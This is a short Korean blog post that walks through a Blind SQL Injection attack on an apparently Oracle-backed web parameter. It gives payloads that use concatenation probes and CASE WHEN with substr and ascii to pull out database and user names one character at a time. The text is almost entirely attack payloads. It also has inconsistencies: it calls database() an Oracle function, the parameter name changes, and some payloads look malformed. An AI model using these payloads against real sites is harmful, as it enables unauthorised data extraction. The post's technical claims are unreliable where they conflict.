본문 바로가기

보안/WEB

[WEB보안] Blind SQL Injection_case wher then 조건문

반응형

1. DB 환경 : Oracle

2. 목적 : user 이름 및 Database 이름 확인

3. 공격 순서 :

1) 정상 파라미터 값

bordid = no0001

2) 파라미터 값 중간에 연결 연산자 입력 후 응답값 확인

bordid=no0'||'001

3) 응답 값 확인(참, 거짓)

bordid=no0'||0||'001 // 참

bordid=no0'||1||'001 //거짓

4) SELECT 구문 사용 가능 여부 체크

boardid=no0'||select+0||'001 // 참

boardid=no0'||select+1||'001 //거짓

5) 연결 연산자 사이에 SQL 구문 삽입

bordid=no0'||______(SQL 구문)_______||001

(1) (select+database()) //database() 값 보기

(2) (substr((select+database()),1,1) //database() 값 첫글자 한개 요청

(3) (ascii(substr((select+database()),1,1)>100) //database() 값 첫글자 한개 요청 값이 아스키코드 값으로 100보다 큰지?( '>'URL 인코딩 : %3e)

(4) (select+case+when(ascii(substr((select+database()),1,1)=114))+then+'0'+else+'1'+end) //database() 값 첫글자 한개 요청 값이 아스키코드 값으로 114인지? 참이면 0 거짓이면 1

(5) (select+case+when(select+database()='ko123a')+then+'0'+else+'1'+end) //database 이름이 ko123a가 맞는지? 참이면 정상 페이지

반응형